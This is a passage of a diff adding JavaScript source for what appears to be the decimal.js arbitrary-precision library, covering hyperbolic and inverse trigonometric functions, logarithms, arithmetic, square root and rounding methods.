x.isZero()) return new Ctor(x); + + pr = Ctor.precision; + rm = Ctor.rounding; + Ctor.precision = pr + Math.max(x.e, x.sd()) + 4; + Ctor.rounding = 1; + len = x.d.length; + + if (len < 3) { + x = taylorSeries(Ctor, 2, x, x, true); + } else { + + // Alternative argument reduction: sinh(3x) = sinh(x)(3 + 4sinh^2(x)) + // i.e. sinh(x) = sinh(x/3)(3 + 4sinh^2(x/3)) + // 3 multiplications and 1 addition + + // Argument reduction: sinh(5x) = sinh(x)(5 + sinh^2(x)(20 + 16sinh^2(x))) + // i.e. sinh(x) = sinh(x/5)(5 + sinh^2(x/5)(20 + 16sinh^2(x/5))) + // 4 multiplications and 2 additions + + // Estimate the optimum number of times to use the argument reduction. + k = 1.4 * Math.sqrt(len); + k = k > 16 ? 16 : k | 0; + + x = x.times(1 / tinyPow(5, k)); + x = taylorSeries(Ctor, 2, x, x, true); + + // Reverse argument reduction + var sinh2_x, + d5 = new Ctor(5), + d16 = new Ctor(16), + d20 = new Ctor(20); + for (; k--;) { + sinh2_x = x.times(x); + x = x.times(d5.plus(sinh2_x.times(d16.times(sinh2_x).plus(d20)))); + } + } + + Ctor.precision = pr; + Ctor.rounding = rm; + + return finalise(x, pr, rm, true); + }; + + + /* + * Return a new Decimal whose value is the hyperbolic tangent of the value in radians of this + * Decimal. + * + * Domain: [-Infinity, Infinity] + * Range: [-1, 1] + * + * tanh(x) = sinh(x) / cosh(x) + * + * tanh(0) = 0 + * tanh(-0) = -0 + * tanh(Infinity) = 1 + * tanh(-Infinity) = -1 + * tanh(NaN) = NaN + * + */ + P.hyperbolicTangent = P.tanh = function () { + var pr, rm, + x = this, + Ctor = x.constructor; + + if (!x.isFinite()) return new Ctor(x.s); + if (x.isZero()) return new Ctor(x); + + pr = Ctor.precision; + rm = Ctor.rounding; + Ctor.precision = pr + 7; + Ctor.rounding = 1; + + return divide(x.sinh(), x.cosh(), Ctor.precision = pr, Ctor.rounding = rm); + }; + + + /* + * Return a new Decimal whose value is the arccosine (inverse cosine) in radians of the value of + * this Decimal. + * + * Domain: [-1, 1] + * Range: [0, pi] + * + * acos(x) = pi/2 - asin(x) + * + * acos(0) = pi/2 + * acos(-0) = pi/2 + * acos(1) = 0 + * acos(-1) = pi + * acos(1/2) = pi/3 + * acos(-1/2) = 2*pi/3 + * acos(|x| > 1) = NaN + * acos(NaN) = NaN + * + */ + P.inverseCosine = P.acos = function () { + var halfPi, + x = this, + Ctor = x.constructor, + k = x.abs().cmp(1), + pr = Ctor.precision, + rm = Ctor.rounding; + + if (k !== -1) { + return k === 0 + // |x| is 1 + ? x.isNeg() ? getPi(Ctor, pr, rm) : new Ctor(0) + // |x| > 1 or x is NaN + : new Ctor(NaN); + } + + if (x.isZero()) return getPi(Ctor, pr + 4, rm).times(0.5); + + // TODO? Special case acos(0.5) = pi/3 and acos(-0.5) = 2*pi/3 + + Ctor.precision = pr + 6; + Ctor.rounding = 1; + + x = x.asin(); + halfPi = getPi(Ctor, pr + 4, rm).times(0.5); + + Ctor.precision = pr; + Ctor.rounding = rm; + + return halfPi.minus(x); + }; + + + /* + * Return a new Decimal whose value is the inverse of the hyperbolic cosine in radians of the + * value of this Decimal. + * + * Domain: [1, Infinity] + * Range: [0, Infinity] + * + * acosh(x) = ln(x + sqrt(x^2 - 1)) + * + * acosh(x < 1) = NaN + * acosh(NaN) = NaN + * acosh(Infinity) = Infinity + * acosh(-Infinity) = NaN + * acosh(0) = NaN + * acosh(-0) = NaN + * acosh(1) = 0 + * acosh(-1) = NaN + * + */ + P.inverseHyperbolicCosine = P.acosh = function () { + var pr, rm, + x = this, + Ctor = x.constructor; + + if (x.lte(1)) return new Ctor(x.eq(1) ? 0 : NaN); + if (!x.isFinite()) return new Ctor(x); + + pr = Ctor.precision; + rm = Ctor.rounding; + Ctor.precision = pr + Math.max(Math.abs(x.e), x.sd()) + 4; + Ctor.rounding = 1; + external = false; + + x = x.times(x).minus(1).sqrt().plus(x); + + external = true; + Ctor.precision = pr; + Ctor.rounding = rm; + + return x.ln(); + }; + + + /* + * Return a new Decimal whose value is the inverse of the hyperbolic sine in radians of the value + * of this Decimal. + * + * Domain: [-Infinity, Infinity] + * Range: [-Infinity, Infinity] + * + * asinh(x) = ln(x + sqrt(x^2 + 1)) + * + * asinh(NaN) = NaN + * asinh(Infinity) = Infinity + * asinh(-Infinity) = -Infinity + * asinh(0) = 0 + * asinh(-0) = -0 + * + */ + P.inverseHyperbolicSine = P.asinh = function () { + var pr, rm, + x = this, + Ctor = x.constructor; + + if (!x.isFinite() || x.isZero()) return new Ctor(x); + + pr = Ctor.precision; + rm = Ctor.rounding; + Ctor.precision = pr + 2 * Math.max(Math.abs(x.e), x.sd()) + 6; + Ctor.rounding = 1; + external = false; + + x = x.times(x).plus(1).sqrt().plus(x); + + external = true; + Ctor.precision = pr; + Ctor.rounding = rm; + + return x.ln(); + }; + + + /* + * Return a new Decimal whose value is the inverse of the hyperbolic tangent in radians of the + * value of this Decimal. + * + * Domain: [-1, 1] + * Range: [-Infinity, Infinity] + * + * atanh(x) = 0.5 * ln((1 + x) / (1 - x)) + * + * atanh(|x| > 1) = NaN + * atanh(NaN) = NaN + * atanh(Infinity) = NaN + * atanh(-Infinity) = NaN + * atanh(0) = 0 + * atanh(-0) = -0 + * atanh(1) = Infinity + * atanh(-1) = -Infinity + * + */ + P.inverseHyperbolicTangent = P.atanh = function () { + var pr, rm, wpr, xsd, + x = this, + Ctor = x.constructor; + + if (!x.isFinite()) return new Ctor(NaN); + if (x.e >= 0) return new Ctor(x.abs().eq(1) ? x.s / 0 : x.isZero() ? x : NaN); + + pr = Ctor.precision; + rm = Ctor.rounding; + xsd = x.sd(); + + if (Math.max(xsd, pr) < 2 * -x.e - 1) return finalise(new Ctor(x), pr, rm, true); + + Ctor.precision = wpr = xsd - x.e; + + x = divide(x.plus(1), new Ctor(1).minus(x), wpr + pr, 1); + + Ctor.precision = pr + 4; + Ctor.rounding = 1; + + x = x.ln(); + + Ctor.precision = pr; + Ctor.rounding = rm; + + return x.times(0.5); + }; + + + /* + * Return a new Decimal whose value is the arcsine (inverse sine) in radians of the value of this + * Decimal. + * + * Domain: [-Infinity, Infinity] + * Range: [-pi/2, pi/2] + * + * asin(x) = 2*atan(x/(1 + sqrt(1 - x^2))) + * + * asin(0) = 0 + * asin(-0) = -0 + * asin(1/2) = pi/6 + * asin(-1/2) = -pi/6 + * asin(1) = pi/2 + * asin(-1) = -pi/2 + * asin(|x| > 1) = NaN + * asin(NaN) = NaN + * + * TODO? Compare performance of Taylor series. + * + */ + P.inverseSine = P.asin = function () { + var halfPi, k, + pr, rm, + x = this, + Ctor = x.constructor; + + if (x.isZero()) return new Ctor(x); + + k = x.abs().cmp(1); + pr = Ctor.precision; + rm = Ctor.rounding; + + if (k !== -1) { + + // |x| is 1 + if (k === 0) { + halfPi = getPi(Ctor, pr + 4, rm).times(0.5); + halfPi.s = x.s; + return halfPi; + } + + // |x| > 1 or x is NaN + return new Ctor(NaN); + } + + // TODO? Special case asin(1/2) = pi/6 and asin(-1/2) = -pi/6 + + Ctor.precision = pr + 6; + Ctor.rounding = 1; + + x = x.div(new Ctor(1).minus(x.times(x)).sqrt().plus(1)).atan(); + + Ctor.precision = pr; + Ctor.rounding = rm; + + return x.times(2); + }; + + + /* + * Return a new Decimal whose value is the arctangent (inverse tangent) in radians of the value + * of this Decimal. + * + * Domain: [-Infinity, Infinity] + * Range: [-pi/2, pi/2] + * + * atan(x) = x - x^3/3 + x^5/5 - x^7/7 + ... + * + * atan(0) = 0 + * atan(-0) = -0 + * atan(1) = pi/4 + * atan(-1) = -pi/4 + * atan(Infinity) = pi/2 + * atan(-Infinity) = -pi/2 + * atan(NaN) = NaN + * + */ + P.inverseTangent = P.atan = function () { + var i, j, k, n, px, t, r, wpr, x2, + x = this, + Ctor = x.constructor, + pr = Ctor.precision, + rm = Ctor.rounding; + + if (!x.isFinite()) { + if (!x.s) return new Ctor(NaN); + if (pr + 4 <= PI_PRECISION) { + r = getPi(Ctor, pr + 4, rm).times(0.5); + r.s = x.s; + return r; + } + } else if (x.isZero()) { + return new Ctor(x); + } else if (x.abs().eq(1) && pr + 4 <= PI_PRECISION) { + r = getPi(Ctor, pr + 4, rm).times(0.25); + r.s = x.s; + return r; + } + + Ctor.precision = wpr = pr + 10; + Ctor.rounding = 1; + + // TODO? if (x >= 1 && pr <= PI_PRECISION) atan(x) = halfPi * x.s - atan(1 / x); + + // Argument reduction + // Ensure |x| < 0.42 + // atan(x) = 2 * atan(x / (1 + sqrt(1 + x^2))) + + k = Math.min(28, wpr / LOG_BASE + 2 | 0); + + for (i = k; i; --i) x = x.div(x.times(x).plus(1).sqrt().plus(1)); + + external = false; + + j = Math.ceil(wpr / LOG_BASE); + n = 1; + x2 = x.times(x); + r = new Ctor(x); + px = x; + + // atan(x) = x - x^3/3 + x^5/5 - x^7/7 + ... + for (; i !== -1;) { + px = px.times(x2); + t = r.minus(px.div(n += 2)); + + px = px.times(x2); + r = t.plus(px.div(n += 2)); + + if (r.d[j] !== void 0) for (i = j; r.d[i] === t.d[i] && i--;); + } + + if (k) r = r.times(2 << (k - 1)); + + external = true; + + return finalise(r, Ctor.precision = pr, Ctor.rounding = rm, true); + }; + + + /* + * Return true if the value of this Decimal is a finite number, otherwise return false. + * + */ + P.isFinite = function () { + return !!this.d; + }; + + + /* + * Return true if the value of this Decimal is an integer, otherwise return false. + * + */ + P.isInteger = P.isInt = function () { + return !!this.d && mathfloor(this.e / LOG_BASE) > this.d.length - 2; + }; + + + /* + * Return true if the value of this Decimal is NaN, otherwise return false. + * + */ + P.isNaN = function () { + return !this.s; + }; + + + /* + * Return true if the value of this Decimal is negative, otherwise return false. + * + */ + P.isNegative = P.isNeg = function () { + return this.s < 0; + }; + + + /* + * Return true if the value of this Decimal is positive, otherwise return false. + * + */ + P.isPositive = P.isPos = function () { + return this.s > 0; + }; + + + /* + * Return true if the value of this Decimal is 0 or -0, otherwise return false. + * + */ + P.isZero = function () { + return !!this.d && this.d[0] === 0; + }; + + + /* + * Return true if the value of this Decimal is less than `y`, otherwise return false. + * + */ + P.lessThan = P.lt = function (y) { + return this.cmp(y) < 0; + }; + + + /* + * Return true if the value of this Decimal is less than or equal to `y`, otherwise return false. + * + */ + P.lessThanOrEqualTo = P.lte = function (y) { + return this.cmp(y) < 1; + }; + + + /* + * Return the logarithm of the value of this Decimal to the specified base, rounded to `precision` + * significant digits using rounding mode `rounding`. + * + * If no base is specified, return log[10](arg). + * + * log[base](arg) = ln(arg) / ln(base) + * + * The result will always be correctly rounded if the base of the log is 10, and 'almost always' + * otherwise: + * + * Depending on the rounding mode, the result may be incorrectly rounded if the first fifteen + * rounding digits are [49]99999999999999 or [50]00000000000000. In that case, the maximum error + * between the result and the correctly rounded result will be one ulp (unit in the last place). + * + * log[-b](a) = NaN + * log[0](a) = NaN + * log[1](a) = NaN + * log[NaN](a) = NaN + * log[Infinity](a) = NaN + * log[b](0) = -Infinity + * log[b](-0) = -Infinity + * log[b](-a) = NaN + * log[b](1) = 0 + * log[b](Infinity) = Infinity + * log[b](NaN) = NaN + * + * [base] {number|string|Decimal} The base of the logarithm. + * + */ + P.logarithm = P.log = function (base) { + var isBase10, d, denominator, k, inf, num, sd, r, + arg = this, + Ctor = arg.constructor, + pr = Ctor.precision, + rm = Ctor.rounding, + guard = 5; + + // Default base is 10. + if (base == null) { + base = new Ctor(10); + isBase10 = true; + } else { + base = new Ctor(base); + d = base.d; + + // Return NaN if base is negative, or non-finite, or is 0 or 1. + if (base.s < 0 || !d || !d[0] || base.eq(1)) return new Ctor(NaN); + + isBase10 = base.eq(10); + } + + d = arg.d; + + // Is arg negative, non-finite, 0 or 1? + if (arg.s < 0 || !d || !d[0] || arg.eq(1)) { + return new Ctor(d && !d[0] ? -1 / 0 : arg.s != 1 ? NaN : d ? 0 : 1 / 0); + } + + // The result will have a non-terminating decimal expansion if base is 10 and arg is not an + // integer power of 10. + if (isBase10) { + if (d.length > 1) { + inf = true; + } else { + for (k = d[0]; k % 10 === 0;) k /= 10; + inf = k !== 1; + } + } + + external = false; + sd = pr + guard; + num = naturalLogarithm(arg, sd); + denominator = isBase10 ? getLn10(Ctor, sd + 10) : naturalLogarithm(base, sd); + + // The result will have 5 rounding digits. + r = divide(num, denominator, sd, 1); + + // If at a rounding boundary, i.e. the result's rounding digits are [49]9999 or [50]0000, + // calculate 10 further digits. + // + // If the result is known to have an infinite decimal expansion, repeat this until it is clear + // that the result is above or below the boundary. Otherwise, if after calculating the 10 + // further digits, the last 14 are nines, round up and assume the result is exact. + // Also assume the result is exact if the last 14 are zero. + // + // Example of a result that will be incorrectly rounded: + // log[1048576](4503599627370502) = 2.60000000000000009610279511444746... + // The above result correctly rounded using ROUND_CEIL to 1 decimal place should be 2.7, but it + // will be given as 2.6 as there are 15 zeros immediately after the requested decimal place, so + // the exact result would be assumed to be 2.6, which rounded using ROUND_CEIL to 1 decimal + // place is still 2.6. + if (checkRoundingDigits(r.d, k = pr, rm)) { + + do { + sd += 10; + num = naturalLogarithm(arg, sd); + denominator = isBase10 ? getLn10(Ctor, sd + 10) : naturalLogarithm(base, sd); + r = divide(num, denominator, sd, 1); + + if (!inf) { + + // Check for 14 nines from the 2nd rounding digit, as the first may be 4. + if (+digitsToString(r.d).slice(k + 1, k + 15) + 1 == 1e14) { + r = finalise(r, pr + 1, 0); + } + + break; + } + } while (checkRoundingDigits(r.d, k += 10, rm)); + } + + external = true; + + return finalise(r, pr, rm); + }; + + + /* + * Return a new Decimal whose value is the maximum of the arguments and the value of this Decimal. + * + * arguments {number|string|Decimal} + * + P.max = function () { + Array.prototype.push.call(arguments, this); + return maxOrMin(this.constructor, arguments, 'lt'); + }; + */ + + + /* + * Return a new Decimal whose value is the minimum of the arguments and the value of this Decimal. + * + * arguments {number|string|Decimal} + * + P.min = function () { + Array.prototype.push.call(arguments, this); + return maxOrMin(this.constructor, arguments, 'gt'); + }; + */ + + + /* + * n - 0 = n + * n - N = N + * n - I = -I + * 0 - n = -n + * 0 - 0 = 0 + * 0 - N = N + * 0 - I = -I + * N - n = N + * N - 0 = N + * N - N = N + * N - I = N + * I - n = I + * I - 0 = I + * I - N = N + * I - I = N + * + * Return a new Decimal whose value is the value of this Decimal minus `y`, rounded to `precision` + * significant digits using rounding mode `rounding`. + * + */ + P.minus = P.sub = function (y) { + var d, e, i, j, k, len, pr, rm, xd, xe, xLTy, yd, + x = this, + Ctor = x.constructor; + + y = new Ctor(y); + + // If either is not finite... + if (!x.d || !y.d) { + + // Return NaN if either is NaN. + if (!x.s || !y.s) y = new Ctor(NaN); + + // Return y negated if x is finite and y is ±Infinity. + else if (x.d) y.s = -y.s; + + // Return x if y is finite and x is ±Infinity. + // Return x if both are ±Infinity with different signs. + // Return NaN if both are ±Infinity with the same sign. + else y = new Ctor(y.d || x.s !== y.s ? x : NaN); + + return y; + } + + // If signs differ... + if (x.s != y.s) { + y.s = -y.s; + return x.plus(y); + } + + xd = x.d; + yd = y.d; + pr = Ctor.precision; + rm = Ctor.rounding; + + // If either is zero... + if (!xd[0] || !yd[0]) { + + // Return y negated if x is zero and y is non-zero. + if (yd[0]) y.s = -y.s; + + // Return x if y is zero and x is non-zero. + else if (xd[0]) y = new Ctor(x); + + // Return zero if both are zero. + // From IEEE 754 (2008) 6.3: 0 - 0 = -0 - -0 = -0 when rounding to -Infinity. + else return new Ctor(rm === 3 ? -0 : 0); + + return external ? finalise(y, pr, rm) : y; + } + + // x and y are finite, non-zero numbers with the same sign. + + // Calculate base 1e7 exponents. + e = mathfloor(y.e / LOG_BASE); + xe = mathfloor(x.e / LOG_BASE); + + xd = xd.slice(); + k = xe - e; + + // If base 1e7 exponents differ... + if (k) { + xLTy = k < 0; + + if (xLTy) { + d = xd; + k = -k; + len = yd.length; + } else { + d = yd; + e = xe; + len = xd.length; + } + + // Numbers with massively different exponents would result in a very high number of + // zeros needing to be prepended, but this can be avoided while still ensuring correct + // rounding by limiting the number of zeros to `Math.ceil(pr / LOG_BASE) + 2`. + i = Math.max(Math.ceil(pr / LOG_BASE), len) + 2; + + if (k > i) { + k = i; + d.length = 1; + } + + // Prepend zeros to equalise exponents. + d.reverse(); + for (i = k; i--;) d.push(0); + d.reverse(); + + // Base 1e7 exponents equal. + } else { + + // Check digits to determine which is the bigger number. + + i = xd.length; + len = yd.length; + xLTy = i < len; + if (xLTy) len = i; + + for (i = 0; i < len; i++) { + if (xd[i] != yd[i]) { + xLTy = xd[i] < yd[i]; + break; + } + } + + k = 0; + } + + if (xLTy) { + d = xd; + xd = yd; + yd = d; + y.s = -y.s; + } + + len = xd.length; + + // Append zeros to `xd` if shorter. + // Don't add zeros to `yd` if shorter as subtraction only needs to start at `yd` length. + for (i = yd.length - len; i > 0; --i) xd[len++] = 0; + + // Subtract yd from xd. + for (i = yd.length; i > k;) { + + if (xd[--i] < yd[i]) { + for (j = i; j && xd[--j] === 0;) xd[j] = BASE - 1; + --xd[j]; + xd[i] += BASE; + } + + xd[i] -= yd[i]; + } + + // Remove trailing zeros. + for (; xd[--len] === 0;) xd.pop(); + + // Remove leading zeros and adjust exponent accordingly. + for (; xd[0] === 0; xd.shift()) --e; + + // Zero? + if (!xd[0]) return new Ctor(rm === 3 ? -0 : 0); + + y.d = xd; + y.e = getBase10Exponent(xd, e); + + return external ? finalise(y, pr, rm) : y; + }; + + + /* + * n % 0 = N + * n % N = N + * n % I = n + * 0 % n = 0 + * -0 % n = -0 + * 0 % 0 = N + * 0 % N = N + * 0 % I = 0 + * N % n = N + * N % 0 = N + * N % N = N + * N % I = N + * I % n = N + * I % 0 = N + * I % N = N + * I % I = N + * + * Return a new Decimal whose value is the value of this Decimal modulo `y`, rounded to + * `precision` significant digits using rounding mode `rounding`. + * + * The result depends on the modulo mode. + * + */ + P.modulo = P.mod = function (y) { + var q, + x = this, + Ctor = x.constructor; + + y = new Ctor(y); + + // Return NaN if x is ±Infinity or NaN, or y is NaN or ±0. + if (!x.d || !y.s || y.d && !y.d[0]) return new Ctor(NaN); + + // Return x if y is ±Infinity or x is ±0. + if (!y.d || x.d && !x.d[0]) { + return finalise(new Ctor(x), Ctor.precision, Ctor.rounding); + } + + // Prevent rounding of intermediate calculations. + external = false; + + if (Ctor.modulo == 9) { + + // Euclidian division: q = sign(y) * floor(x / abs(y)) + // result = x - q * y where 0 <= result < abs(y) + q = divide(x, y.abs(), 0, 3, 1); + q.s *= y.s; + } else { + q = divide(x, y, 0, Ctor.modulo, 1); + } + + q = q.times(y); + + external = true; + + return x.minus(q); + }; + + + /* + * Return a new Decimal whose value is the natural exponential of the value of this Decimal, + * i.e. the base e raised to the power the value of this Decimal, rounded to `precision` + * significant digits using rounding mode `rounding`. + * + */ + P.naturalExponential = P.exp = function () { + return naturalExponential(this); + }; + + + /* + * Return a new Decimal whose value is the natural logarithm of the value of this Decimal, + * rounded to `precision` significant digits using rounding mode `rounding`. + * + */ + P.naturalLogarithm = P.ln = function () { + return naturalLogarithm(this); + }; + + + /* + * Return a new Decimal whose value is the value of this Decimal negated, i.e. as if multiplied by + * -1. + * + */ + P.negated = P.neg = function () { + var x = new this.constructor(this); + x.s = -x.s; + return finalise(x); + }; + + + /* + * n + 0 = n + * n + N = N + * n + I = I + * 0 + n = n + * 0 + 0 = 0 + * 0 + N = N + * 0 + I = I + * N + n = N + * N + 0 = N + * N + N = N + * N + I = N + * I + n = I + * I + 0 = I + * I + N = N + * I + I = I + * + * Return a new Decimal whose value is the value of this Decimal plus `y`, rounded to `precision` + * significant digits using rounding mode `rounding`. + * + */ + P.plus = P.add = function (y) { + var carry, d, e, i, k, len, pr, rm, xd, yd, + x = this, + Ctor = x.constructor; + + y = new Ctor(y); + + // If either is not finite... + if (!x.d || !y.d) { + + // Return NaN if either is NaN. + if (!x.s || !y.s) y = new Ctor(NaN); + + // Return x if y is finite and x is ±Infinity. + // Return x if both are ±Infinity with the same sign. + // Return NaN if both are ±Infinity with different signs. + // Return y if x is finite and y is ±Infinity. + else if (!x.d) y = new Ctor(y.d || x.s === y.s ? x : NaN); + + return y; + } + + // If signs differ... + if (x.s != y.s) { + y.s = -y.s; + return x.minus(y); + } + + xd = x.d; + yd = y.d; + pr = Ctor.precision; + rm = Ctor.rounding; + + // If either is zero... + if (!xd[0] || !yd[0]) { + + // Return x if y is zero. + // Return y if y is non-zero. + if (!yd[0]) y = new Ctor(x); + + return external ? finalise(y, pr, rm) : y; + } + + // x and y are finite, non-zero numbers with the same sign. + + // Calculate base 1e7 exponents. + k = mathfloor(x.e / LOG_BASE); + e = mathfloor(y.e / LOG_BASE); + + xd = xd.slice(); + i = k - e; + + // If base 1e7 exponents differ... + if (i) { + + if (i < 0) { + d = xd; + i = -i; + len = yd.length; + } else { + d = yd; + e = k; + len = xd.length; + } + + // Limit number of zeros prepended to max(ceil(pr / LOG_BASE), len) + 1. + k = Math.ceil(pr / LOG_BASE); + len = k > len ? k + 1 : len + 1; + + if (i > len) { + i = len; + d.length = 1; + } + + // Prepend zeros to equalise exponents. Note: Faster to use reverse then do unshifts. + d.reverse(); + for (; i--;) d.push(0); + d.reverse(); + } + + len = xd.length; + i = yd.length; + + // If yd is longer than xd, swap xd and yd so xd points to the longer array. + if (len - i < 0) { + i = len; + d = yd; + yd = xd; + xd = d; + } + + // Only start adding at yd.length - 1 as the further digits of xd can be left as they are. + for (carry = 0; i;) { + carry = (xd[--i] = xd[i] + yd[i] + carry) / BASE | 0; + xd[i] %= BASE; + } + + if (carry) { + xd.unshift(carry); + ++e; + } + + // Remove trailing zeros. + // No need to check for zero, as +x + +y != 0 && -x + -y != 0 + for (len = xd.length; xd[--len] == 0;) xd.pop(); + + y.d = xd; + y.e = getBase10Exponent(xd, e); + + return external ? finalise(y, pr, rm) : y; + }; + + + /* + * Return the number of significant digits of the value of this Decimal. + * + * [z] {boolean|number} Whether to count integer-part trailing zeros: true, false, 1 or 0. + * + */ + P.precision = P.sd = function (z) { + var k, + x = this; + + if (z !== void 0 && z !== !!z && z !== 1 && z !== 0) throw Error(invalidArgument + z); + + if (x.d) { + k = getPrecision(x.d); + if (z && x.e + 1 > k) k = x.e + 1; + } else { + k = NaN; + } + + return k; + }; + + + /* + * Return a new Decimal whose value is the value of this Decimal rounded to a whole number using + * rounding mode `rounding`. + * + */ + P.round = function () { + var x = this, + Ctor = x.constructor; + + return finalise(new Ctor(x), x.e + 1, Ctor.rounding); + }; + + + /* + * Return a new Decimal whose value is the sine of the value in radians of this Decimal. + * + * Domain: [-Infinity, Infinity] + * Range: [-1, 1] + * + * sin(x) = x - x^3/3! + x^5/5! - ... + * + * sin(0) = 0 + * sin(-0) = -0 + * sin(Infinity) = NaN + * sin(-Infinity) = NaN + * sin(NaN) = NaN + * + */ + P.sine = P.sin = function () { + var pr, rm, + x = this, + Ctor = x.constructor; + + if (!x.isFinite()) return new Ctor(NaN); + if (x.isZero()) return new Ctor(x); + + pr = Ctor.precision; + rm = Ctor.rounding; + Ctor.precision = pr + Math.max(x.e, x.sd()) + LOG_BASE; + Ctor.rounding = 1; + + x = sine(Ctor, toLessThanHalfPi(Ctor, x)); + + Ctor.precision = pr; + Ctor.rounding = rm; + + return finalise(quadrant > 2 ? x.neg() : x, pr, rm, true); + }; + + + /* + * Return a new Decimal whose value is the square root of this Decimal, rounded to `precision` + * significant digits using rounding mode `rounding`. + * + * sqrt(-n) = N + * sqrt(N) = N + * sqrt(-I) = N + * sqrt(I) = I + * sqrt(0) = 0 + * sqrt(-0) = -0 + * + */ + P.squareRoot = P.sqrt = function () { + var m, n, sd, r, rep, t, + x = this, + d = x.d, + e = x.e, + s = x.s, + Ctor = x.constructor; + + // Negative/NaN/Infinity/zero? + if (s !== 1 || !d || !d[0]) { + return new Ctor(!s || s < 0 && (!d || d[0]) ? NaN : d ? x : 1 / 0); + } + + external = false; + + // Initial estimate. + s = Math.sqrt(+x); + + // Math.sqrt underflow/overflow? + // Pass x to Math.sqrt as integer, then adjust the exponent of the result. + if (s == 0 || s == 1 / 0) { + n = digitsToString(d); + + if ((n.length + e) % 2 == 0) n += '0'; + s = Math.sqrt(n); + e = mathfloor((e + 1) / 2) - (e < 0 || e % 2); + + if (s == 1 / 0) { + n = '1e' + e; + } else { + n = s.toExponential(); + n = n.slice(0, n.indexOf('e') + 1) + e; + } + + r = new Ctor(n); + } else { + r = new Ctor(s.toString()); + } + + sd = (e = Ctor.precision) + 3; + + // Newton-Raphson iteration. + for (;;) { + t = r; + r = t.plus(divide(x, t, sd + 2, 1)).times(0.5); + + // TODO? Replace with for-loop and checkRoundingDigits. + if (digitsToString(t.d).slice(0, sd) === (n = digitsToString(r.d)).slice(0, sd)) { + n = n.slice(sd - 3, sd + 1); + + // The 4th rounding digit may be in error by -1 so if the 4 rounding digits are 9999 or + // 4999, i.e. approaching a rounding boundary, continue the iteration. + if (n == '9999' || !rep && n == '4999') { + + // On the first iteration only, check to see if rounding up gives the exact result as the + // nines may infinitely repeat. + if (!rep) { + finalise(t, e + 1, 0); + + if (t.times(t).eq(x)) { + r = t; + break; + } + } + + sd += 4; + rep = 1; + } else { + + // If the rounding digits are null, 0{0,4} or 50{0,3}, check for an exact result. + // If not, then there are further digits and m will be truthy. + if (!+n || !+n.slice(1) && n.charAt(0) == '5') { + + // Truncate to the first rounding digit. + finalise(r, e + 1, 1); + m = !r.times(r).eq(x); + } + + break; + } + } + } + + external = true; + + return finalise(r, e, Ctor.rounding, m); + }; + + + /* + * Return a new Decimal whose value is the tangent of the value in radians of this Decimal. + * + * Domain: [-Infinity, Infinity] + * Range: [-Infinity, Infinity] + * + * tan(0) = 0 + * tan(-0) = -0 + * tan(Infinity) = NaN + * tan(-Infinity) = NaN + * tan(NaN) = NaN + * + */ + P.tangent = P.tan = function () { + var pr, rm, + x = this, + Ctor = x.constructor; + + if (!x.isFinite()) return new Ctor(NaN); + if (x.isZero()) return new Ctor(x); + + pr = Ctor.precision; + rm = Ctor.rounding; + Ctor.precision = pr + 10; + Ctor.rounding = 1; + + x = x.sin(); + x.s = 1; + x = divide(x, new Ctor(1).minus(x.times(x)).sqrt(), pr + 10, 0); + + Ctor.precision = pr; + Ctor.rounding = rm; + + return finalise(quadrant == 2 || quadrant == 4 ? x.neg() : x, pr, rm, true); + }; + + + /* + * n * 0 = 0 + * n * N = N + * n * I = I + * 0 * n = 0 + * 0 * 0 = 0 + * 0 * N = N + * 0 * I = N + * N * n = N + * N * 0 = N + * N * N = N + * N * I = N + * I * n = I + * I * 0 = N + * I * N = N + * I * I = I + * + * Return a new Decimal whose value is this Decimal times `y`, rounded to `precision` significant + * digits using rounding mode `rounding`. + * + */ + P.times = P.mul = function (y) { + var carry, e, i, k, r, rL, t, xdL, ydL, + x = this, + Ctor = x.constructor, + xd = x.d, + yd = (y = new Ctor(y)).d; + + y.s *= x.s; + + // If either is NaN, ±Infinity or ±0... + if (!xd || !xd[0] || !yd || !yd[0]) { + + return new Ctor(!y.s || xd && !xd[0] && !yd || yd && !yd[0] && !xd + + // Return NaN if either is NaN. + // Return NaN if x is ±0 and y is ±Infinity, or y is ±0 and x is ±Infinity. + ? NaN + + // Return ±Infinity if either is ±Infinity. + // Return ±0 if either is ±0. + : !xd || !yd ? y.s / 0 : y.s * 0); + } + + e = mathfloor(x.e / LOG_BASE) + mathfloor(y.e / LOG_BASE); + xdL = xd.length; + ydL = yd.length; + + // Ensure xd points to the longer array. + if (xdL < ydL) { + r = xd; + xd = yd; + yd = r; + rL = xdL; + xdL = ydL; + ydL = rL; + } + + // Initialise the result array with zeros. + r = []; + rL = xdL + ydL; + for (i = rL; i--;) r.push(0); + + // Multiply! + for (i = ydL; --i >= 0;) { + carry = 0; + for (k = xdL + i; k > i;) { + t = r[k] + yd[i] * xd[k - i - 1] + carry; + r[k--] = t % BASE | 0; + carry = t / BASE | 0; + } + + r[k] = (r[k] + carry) % BASE | 0; + } + + // Remove trailing zeros. + for (; !r[--rL];) r.pop(); + + if (carry) ++e; + else r.shift(); + + y.d = r; + y.e = getBase10Exponent(r, e); + + return external ? finalise(y, Ctor.precision, Ctor.rounding) : y; + }; + + + /* + * Return a string representing the value of this Decimal in base 2, round to `sd` significant + * digits using rounding mode `rm`. + * + * If the optional `sd` argument is present then return binary exponential notation. + * + * [sd] {number} Significant digits. Integer, 1 to MAX_DIGITS inclusive. + * [rm] {number} Rounding mode. Integer, 0 to 8 inclusive. + * + */ + P.toBinary = function (sd, rm) { + return toStringBinary(this, 2, sd, rm); + }; + + + /* + * Return a new Decimal whose value is the value of this Decimal rounded to a maximum of `dp` + * decimal places using rounding mode `rm` or `rounding` if `rm` is omitted. + * + * If `dp` is omitted, return a new Decimal whose value is the value of this Decimal. + * + * [dp] {number} Decimal places. Integer, 0 to MAX_DIGITS inclusive. + * [rm] {number} Rounding mode. Integer, 0 to 8 inclusive. + * + */ + P.toDecimalPlaces = P.toDP = function (dp, rm) { + var x = this, + Ctor = x.constructor; + + x = new Ctor(x); + if (dp === void 0) return x; + + checkInt32(dp, 0, MAX_DIGITS); + + if (rm === void 0) rm = Ctor.rounding; + else checkInt32(rm, 0, 8); + + return finalise(x, dp + x.e + 1, rm); + }; + + + /* + * Return a string representing the value of this Decimal in exponential notation rounded to + * `dp` fixed decimal places using rounding mode `rounding`. + * + * [dp] {number} Decimal places. Integer, 0 to MAX_DIGITS inclusive. + * [rm] {number} Rounding mode. Integer, 0 to 8 inclusive. + * + */ + P.toExponential = function (dp, rm) { + var str, + x = this, + Ctor = x.constructor; + + if (dp === void 0) { + str = finiteToString(x, true); + } else { + checkInt32(dp, 0, MAX_DIGITS); + + if (rm === void 0) rm = Ctor.rounding; 